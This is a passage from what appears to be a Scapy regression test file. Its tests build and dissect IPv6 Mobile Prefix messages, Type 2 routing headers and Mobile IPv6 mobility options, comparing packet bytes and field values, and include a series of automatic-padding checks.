0x3747 and p.addresses == [ '2001:db8::2', '2001:db8::3' ]\n\n= ICMPv6HAADRequest / ICMPv6HAADReply - build/dissection\na=ICMPv6HAADRequest(id=42) \nb=ICMPv6HAADReply(id=42)\nnot a < b and a > b\n\n\n############\n############\n+ Mobile Prefix Solicitation/Advertisement\n\n= ICMPv6MPSol - build (default values)\n\ns = b'`\\x00\\x00\\x00\\x00\\x08:@\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x92\\x00m\\xbb\\x00\\x00\\x00\\x00'\nraw(IPv6()/ICMPv6MPSol()) == s\n\n= ICMPv6MPSol - dissection (default values)\np = IPv6(s)\np[ICMPv6MPSol].type == 146 and p[ICMPv6MPSol].cksum == 0x6dbb and p[ICMPv6MPSol].id == 0\n\n= ICMPv6MPSol - build\ns = b'`\\x00\\x00\\x00\\x00\\x08:@\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x92\\x00(\\x08\\x00\\x08\\x00\\x00'\nraw(IPv6()/ICMPv6MPSol(cksum=0x2808, id=8)) == s\n\n= ICMPv6MPSol - dissection\np = IPv6(s)\np[ICMPv6MPSol].cksum == 0x2808 and p[ICMPv6MPSol].id == 8\n\n= ICMPv6MPAdv - build (default values)\ns = b'`\\x00\\x00\\x00\\x00(:@\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x93\\x00\\xa8\\xd6\\x00\\x00\\x80\\x00\\x03\\x04@\\xc0\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\nraw(IPv6()/ICMPv6MPAdv()/ICMPv6NDOptPrefixInfo()) == s\n\n= ICMPv6MPAdv - dissection (default values)\np = IPv6(s)\np[ICMPv6MPAdv].type == 147 and p[ICMPv6MPAdv].cksum == 0xa8d6 and p[ICMPv6NDOptPrefixInfo].prefix == '::'\n\n= ICMPv6MPAdv - build\ns = b'`\\x00\\x00\\x00\\x00(:@\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x93\\x00(\\x07\\x00*@\\x00\\x03\\x04@@\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x0c\\x00\\x00\\x00\\x00 \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01'\nraw(IPv6()/ICMPv6MPAdv(cksum=0x2807, flags=1, id=42)/ICMPv6NDOptPrefixInfo(prefix='2001:db8::1', L=0, preferredlifetime=12)) == s\n\n= ICMPv6MPAdv - dissection\np = IPv6(s)\np[ICMPv6MPAdv].cksum == 0x2807 and p[ICMPv6MPAdv].flags == 1 and p[ICMPv6MPAdv].id == 42 and p[ICMPv6NDOptPrefixInfo].prefix == '2001:db8::1' and p[ICMPv6NDOptPrefixInfo].preferredlifetime == 12\n\n\n############\n############\n+ Type 2 Routing Header\n\n= IPv6ExtHdrRouting - type 2 - build/dissection\np = IPv6(raw(IPv6(dst='2001:db8::1', src='2001:db8::2')/IPv6ExtHdrRouting(type=2, addresses=['2001:db8::3'])/ICMPv6EchoRequest()))\np.type == 2 and len(p.addresses) == 1 and p.cksum == 0x2446\n\n= IPv6ExtHdrRouting - type 2 - hashret\n\np = IPv6()/IPv6ExtHdrRouting(addresses=[\"2001:db8::1\", \"2001:db8::2\"])/ICMPv6EchoRequest()\np.hashret() == b\" \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00:\\x00\\x00\\x00\\x00\"\n\n\n############\n############\n+ Mobility Options - Binding Refresh Advice\n\n= MIP6OptBRAdvice - build (default values)\ns = b'\\x02\\x02\\x00\\x00'\nraw(MIP6OptBRAdvice()) == s\n\n= MIP6OptBRAdvice - dissection (default values)\np = MIP6OptBRAdvice(s)\np.otype == 2 and p.olen == 2 and p.rinter == 0\n\n= MIP6OptBRAdvice - build\ns = b'\\x03*\\n\\xf7'\nraw(MIP6OptBRAdvice(otype=3, olen=42, rinter=2807)) == s\n\n= MIP6OptBRAdvice - dissection\np = MIP6OptBRAdvice(s)\np.otype == 3 and p.olen == 42 and p.rinter == 2807\n\n\n############\n############\n+ Mobility Options - Alternate Care-of Address\n\n= MIP6OptAltCoA - build (default values)\ns = b'\\x03\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\nraw(MIP6OptAltCoA()) == s\n\n= MIP6OptAltCoA - dissection (default values)\np = MIP6OptAltCoA(s)\np.otype == 3 and p.olen == 16 and p.acoa == '::'\n\n= MIP6OptAltCoA - build\ns = b'*\\x08 \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01'\nraw(MIP6OptAltCoA(otype=42, olen=8, acoa='2001:db8::1')) == s\n\n= MIP6OptAltCoA - dissection\np = MIP6OptAltCoA(s)\np.otype == 42 and p.olen == 8 and p.acoa == '2001:db8::1'\n\n\n############\n############\n+ Mobility Options - Nonce Indices\n\n= MIP6OptNonceIndices - build (default values)\ns = b'\\x04\\x10\\x00\\x00\\x00\\x00'\nraw(MIP6OptNonceIndices()) == s\n\n= MIP6OptNonceIndices - dissection (default values)\np = MIP6OptNonceIndices(s)\np.otype == 4 and p.olen == 16 and p.hni == 0 and p.coni == 0\n\n= MIP6OptNonceIndices - build\ns = b'\\x04\\x12\\x00\\x13\\x00\\x14'\nraw(MIP6OptNonceIndices(olen=18, hni=19, coni=20)) == s\n\n= MIP6OptNonceIndices - dissection\np = MIP6OptNonceIndices(s)\np.hni == 19 and p.coni == 20\n\n\n############\n############\n+ Mobility Options - Binding Authentication Data\n\n= MIP6OptBindingAuthData - build (default values)\ns = b'\\x05\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\nraw(MIP6OptBindingAuthData()) == s\n\n= MIP6OptBindingAuthData - dissection (default values)\np = MIP6OptBindingAuthData(s)\np.otype == 5 and p.olen == 16 and p.authenticator == 0\n\n= MIP6OptBindingAuthData - build\ns = b'\\x05*\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\n\\xf7'\nraw(MIP6OptBindingAuthData(olen=42, authenticator=2807)) == s\n\n= MIP6OptBindingAuthData - dissection\np = MIP6OptBindingAuthData(s)\np.otype == 5 and p.olen == 42 and p.authenticator == 2807\n\n\n############\n############\n+ Mobility Options - Mobile Network Prefix\n\n= MIP6OptMobNetPrefix - build (default values)\ns = b'\\x06\\x12\\x00@\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\nraw(MIP6OptMobNetPrefix()) == s\n\n= MIP6OptMobNetPrefix - dissection (default values)\np = MIP6OptMobNetPrefix(s)\np.otype == 6 and p.olen == 18 and p.plen == 64 and p.prefix == '::'\n\n= MIP6OptMobNetPrefix - build\ns = b'\\x06*\\x02  \\x01\\r\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\nraw(MIP6OptMobNetPrefix(olen=42, reserved=2, plen=32, prefix='2001:db8::')) == s\n\n= MIP6OptMobNetPrefix - dissection\np = MIP6OptMobNetPrefix(s)\np.olen ==  42 and p.reserved  == 2 and p.plen == 32 and p.prefix == '2001:db8::'\n\n\n############\n############\n+ Mobility Options - Link-Layer Address (MH-LLA)\n\n= MIP6OptLLAddr - basic build\nraw(MIP6OptLLAddr()) == b'\\x07\\x07\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\n= MIP6OptLLAddr - basic dissection\np = MIP6OptLLAddr(b'\\x07\\x07\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00')\np.otype == 7 and p.olen == 7 and p.ocode == 2 and p.pad == 0 and p.lla == \"00:00:00:00:00:00\"\n\n= MIP6OptLLAddr - build with specific values\nraw(MIP6OptLLAddr(olen=42, ocode=4, pad=0xff, lla='EE:EE:EE:EE:EE:EE')) == b'\\x07*\\x04\\xff\\xee\\xee\\xee\\xee\\xee\\xee'\n\n= MIP6OptLLAddr - dissection with specific values\np = MIP6OptLLAddr(b'\\x07*\\x04\\xff\\xee\\xee\\xee\\xee\\xee\\xee')\n\nraw(MIP6OptLLAddr(olen=42, ocode=4, pad=0xff, lla='EE:EE:EE:EE:EE:EE'))\np.otype == 7 and p.olen == 42 and p.ocode == 4 and p.pad == 0xff and p.lla == \"ee:ee:ee:ee:ee:ee\"\n\n\n############\n############\n+ Mobility Options - Mobile Node Identifier\n\n= MIP6OptMNID - basic build\nraw(MIP6OptMNID()) == b'\\x08\\x01\\x01'\n\n= MIP6OptMNID - basic dissection\np = MIP6OptMNID(b'\\x08\\x01\\x01')\np.otype == 8 and p.olen == 1 and p.subtype == 1 and p.id == b\"\"\n\n= MIP6OptMNID - build with specific values\nraw(MIP6OptMNID(subtype=42, id=\"someid\")) == b'\\x08\\x07*someid'\n\n= MIP6OptMNID - dissection with specific values\np = MIP6OptMNID(b'\\x08\\x07*someid')\np.otype == 8 and p.olen == 7 and p.subtype == 42 and p.id == b\"someid\"\n\n\n\n############\n############\n+ Mobility Options - Message Authentication\n\n= MIP6OptMsgAuth - basic build\nraw(MIP6OptMsgAuth()) == b'\\x09\\x11\\x01\\x00\\x00\\x00\\x00AAAAAAAAAAAA'\n\n= MIP6OptMsgAuth - basic dissection\np = MIP6OptMsgAuth(b'\\x09\\x11\\x01\\x00\\x00\\x00\\x00AAAAAAAAAAAA')\np.otype == 9 and p.olen == 17 and p.subtype == 1 and p.mspi == 0 and p.authdata == b\"A\"*12\n\n= MIP6OptMsgAuth - build with specific values\nraw(MIP6OptMsgAuth(authdata=\"B\"*16, mspi=0xeeeeeeee, subtype=0xff)) == b'\\t\\x15\\xff\\xee\\xee\\xee\\xeeBBBBBBBBBBBBBBBB'\n\n= MIP6OptMsgAuth - dissection with specific values\np = MIP6OptMsgAuth(b'\\t\\x15\\xff\\xee\\xee\\xee\\xeeBBBBBBBBBBBBBBBB')\np.otype == 9 and p.olen == 21 and p.subtype == 255 and p.mspi == 0xeeeeeeee and p.authdata == b\"B\"*16\n\n\n############\n############\n+ Mobility Options - Replay Protection\n\n= MIP6OptReplayProtection - basic build\nraw(MIP6OptReplayProtection()) == b'\\n\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\n= MIP6OptReplayProtection - basic dissection\np = MIP6OptReplayProtection(b'\\n\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00')\np.otype == 10 and p.olen == 8 and p.timestamp == 0\n\n= MIP6OptReplayProtection - build with specific values\ns = raw(MIP6OptReplayProtection(olen=42, timestamp=(72*31536000)<<32))\ns == b'\\n*\\x87V|\\x00\\x00\\x00\\x00\\x00'\n\n= MIP6OptReplayProtection - dissection with specific values\np = MIP6OptReplayProtection(s)\np.otype == 10 and p.olen == 42 and p.timestamp == 9752118382559232000\np.fields_desc[-1].i2repr(\"\", p.timestamp) == 'Mon, 13 Dec 1971 23:50:39 +0000 (9752118382559232000)'\n\n\n############\n############\n+ Mobility Options - CGA Parameters\n= MIP6OptCGAParams\n\n\n############\n############\n+ Mobility Options - Signature\n= MIP6OptSignature\n\n\n############\n############\n+ Mobility Options - Permanent Home Keygen Token\n= MIP6OptHomeKeygenToken\n\n\n############\n############\n+ Mobility Options - Care-of Test Init\n= MIP6OptCareOfTestInit\n\n\n############\n############\n+ Mobility Options - Care-of Test\n= MIP6OptCareOfTest\n\n\n############\n############\n+ Mobility Options - Automatic Padding - MIP6OptBRAdvice\n=  Mobility Options - Automatic Padding - MIP6OptBRAdvice\na = raw(MIP6MH_BU(seq=0x4242, options=[MIP6OptBRAdvice()]))                        ==b';\\x01\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x02\\x02\\x00\\x00'\nb = raw(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptBRAdvice()]))                 ==b';\\x02\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x00\\x00\\x02\\x02\\x00\\x00\\x01\\x04\\x00\\x00\\x00\\x00'\nc = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*0),MIP6OptBRAdvice()])) ==b';\\x02\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x00\\x02\\x02\\x00\\x00\\x01\\x04\\x00\\x00\\x00\\x00'\nd = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*1),MIP6OptBRAdvice()])) ==b';\\x02\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x01\\x00\\x00\\x02\\x02\\x00\\x00\\x01\\x02\\x00\\x00'\ne = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*2),MIP6OptBRAdvice()])) ==b';\\x02\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x02\\x00\\x00\\x02\\x02\\x00\\x00\\x01\\x02\\x00\\x00'\ng = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*3),MIP6OptBRAdvice()])) ==b';\\x02\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x03\\x00\\x00\\x00\\x00\\x02\\x02\\x00\\x00\\x01\\x00'\nh = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*4),MIP6OptBRAdvice()])) ==b';\\x02\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x04\\x00\\x00\\x00\\x00\\x02\\x02\\x00\\x00\\x01\\x00'\ni = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*5),MIP6OptBRAdvice()])) ==b';\\x02\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x05\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x02\\x00\\x00'\nj = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*6),MIP6OptBRAdvice()])) ==b';\\x02\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x06\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x02\\x00\\x00'\na and b and c and d and e and g and h and i and j\n                                                \n############\n############\n+ Mobility Options - Automatic Padding - MIP6OptAltCoA           \n=  Mobility Options - Automatic Padding - MIP6OptAltCoA          \na = raw(MIP6MH_BU(seq=0x4242, options=[MIP6OptAltCoA()]))                        ==b';\\x03\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x00\\x03\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\nb = raw(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptAltCoA()]))                 ==b';\\x03\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x00\\x00\\x03\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\nc = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*0),MIP6OptAltCoA()])) ==b';\\x03\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x00\\x03\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\nd = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*1),MIP6OptAltCoA()])) ==b';\\x04\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x01\\x00\\x01\\x05\\x00\\x00\\x00\\x00\\x00\\x03\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\ne = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*2),MIP6OptAltCoA()])) ==b';\\x04\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x02\\x00\\x00\\x01\\x04\\x00\\x00\\x00\\x00\\x03\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\ng = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*3),MIP6OptAltCoA()])) ==b';\\x04\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x03\\x00\\x00\\x00\\x01\\x03\\x00\\x00\\x00\\x03\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\nh = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*4),MIP6OptAltCoA()])) ==b';\\x04\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x04\\x00\\x00\\x00\\x00\\x01\\x02\\x00\\x00\\x03\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\ni = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*5),MIP6OptAltCoA()])) ==b';\\x04\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x05\\x00\\x00\\x00\\x00\\x00\\x01\\x01\\x00\\x03\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\nj = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*6),MIP6OptAltCoA()])) ==b';\\x04\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x06\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x03\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\na and b and c and d and e and g and h and i and j\n\n                                                \n############\n############\n+ Mobility Options - Automatic Padding - MIP6OptNonceIndices                             \n=  Mobility Options - Automatic Padding - MIP6OptNonceIndices                            \na = raw(MIP6MH_BU(seq=0x4242, options=[MIP6OptNonceIndices()]))                        ==b';\\x02\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x04\\x10\\x00\\x00\\x00\\x00\\x01\\x04\\x00\\x00\\x00\\x00'\nb = raw(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptNonceIndices()]))                 ==b';\\x02\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x00\\x00\\x04\\x10\\x00\\x00\\x00\\x00\\x01\\x02\\x00\\x00'\nc = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*0),MIP6OptNonceIndices()])) ==b';\\x02\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x00\\x04\\x10\\x00\\x00\\x00\\x00\\x01\\x02\\x00\\x00'\nd = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*1),MIP6OptNonceIndices()])) ==b';\\x02\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x01\\x00\\x00\\x04\\x10\\x00\\x00\\x00\\x00\\x01\\x00'\ne = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*2),MIP6OptNonceIndices()])) ==b';\\x02\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x02\\x00\\x00\\x04\\x10\\x00\\x00\\x00\\x00\\x01\\x00'\ng = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*3),MIP6OptNonceIndices()])) ==b';\\x02\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x03\\x00\\x00\\x00\\x00\\x04\\x10\\x00\\x00\\x00\\x00'\nh = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*4),MIP6OptNonceIndices()])) ==b';\\x02\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x04\\x00\\x00\\x00\\x00\\x04\\x10\\x00\\x00\\x00\\x00'\ni = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*5),MIP6OptNonceIndices()])) ==b';\\x03\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x05\\x00\\x00\\x00\\x00\\x00\\x00\\x04\\x10\\x00\\x00\\x00\\x00\\x01\\x04\\x00\\x00\\x00\\x00'\nj = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*6),MIP6OptNonceIndices()])) ==b';\\x03\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x06\\x00\\x00\\x00\\x00\\x00\\x00\\x04\\x10\\x00\\x00\\x00\\x00\\x01\\x04\\x00\\x00\\x00\\x00'\na and b and c and d and e and g and h and i and j\n\n                                                \n############\n############\n+ Mobility Options - Automatic Padding - MIP6OptBindingAuthData                          \n=  Mobility Options - Automatic Padding - MIP6OptBindingAuthData                                 \na = raw(MIP6MH_BU(seq=0x4242, options=[MIP6OptBindingAuthData()]))                        ==b';\\x03\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x04\\x00\\x00\\x00\\x00\\x05\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\nb = raw(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptBindingAuthData()]))                 ==b';\\x03\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x00\\x01\\x03\\x00\\x00\\x00\\x05\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\nc = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*0),MIP6OptBindingAuthData()])) ==b';\\x03\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x00\\x01\\x02\\x00\\x00\\x05\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\nd = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*1),MIP6OptBindingAuthData()])) ==b';\\x03\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x01\\x00\\x01\\x01\\x00\\x05\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\ne = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*2),MIP6OptBindingAuthData()])) ==b';\\x03\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x02\\x00\\x00\\x01\\x00\\x05\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\ng = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*3),MIP6OptBindingAuthData()])) ==b';\\x03\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x03\\x00\\x00\\x00\\x00\\x05\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\nh = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*4),MIP6OptBindingAuthData()])) ==b';\\x03\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x04\\x00\\x00\\x00\\x00\\x05\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\ni = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*5),MIP6OptBindingAuthData()])) ==b';\\x04\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x05\\x00\\x00\\x00\\x00\\x00\\x01\\x05\\x00\\x00\\x00\\x00\\x00\\x05\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\nj = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*6),MIP6OptBindingAuthData()])) ==b';\\x04\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x06\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x04\\x00\\x00\\x00\\x00\\x05\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\na and b and c and d and e and g and h and i and j\n\n                                                \n############\n############\n+ Mobility Options - Automatic Padding - MIP6OptMobNetPrefix                             \n=  Mobility Options - Automatic Padding - MIP6OptMobNetPrefix                            \na = raw(MIP6MH_BU(seq=0x4242, options=[MIP6OptMobNetPrefix()]))                        == b';\\x03\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x06\\x12\\x00@\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\nb = raw(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptMobNetPrefix()]))                 == b';\\x04\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x00\\x01\\x05\\x00\\x00\\x00\\x00\\x00\\x06\\x12\\x00@\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\nc = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*0),MIP6OptMobNetPrefix()])) == b';\\x04\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x00\\x01\\x04\\x00\\x00\\x00\\x00\\x06\\x12\\x00@\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\nd = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*1),MIP6OptMobNetPrefix()])) == b';\\x04\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x01\\x00\\x01\\x03\\x00\\x00\\x00\\x06\\x12\\x00@\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\ne = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*2),MIP6OptMobNetPrefix()])) == b';\\x04\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x02\\x00\\x00\\x01\\x02\\x00\\x00\\x06\\x12\\x00@\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\ng = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*3),MIP6OptMobNetPrefix()])) == b';\\x04\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x03\\x00\\x00\\x00\\x01\\x01\\x00\\x06\\x12\\x00@\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\nh = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*4),MIP6OptMobNetPrefix()])) == b';\\x04\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x04\\x00\\x00\\x00\\x00\\x01\\x00\\x06\\x12\\x00@\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\ni = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*5),MIP6OptMobNetPrefix()])) == b';\\x04\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x05\\x00\\x00\\x00\\x00\\x00\\x00\\x06\\x12\\x00@\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\nj = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\\x00'*6),MIP6OptMobNetPrefix()])) == b';\\x04\\x05\\x00\\x00\\x00BB\\xd0\\x00\\x00\\x03\\x01\\x06\\x00\\x00\\x00\\x00\\x00\\x00\\x06\\x12\\x00@\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\na and b and c and d and e and g and h and i and j\n\n                                                \n############\n############\n+ Mobility Options - Automatic Padding - MIP6OptLLAddr                           \n=  Mobility Options - Automatic Padding - MIP6OptLLAddr                          \na = raw(MIP6MH_BU(seq=0x4242, options=[MIP6OptLLAddr()]))                        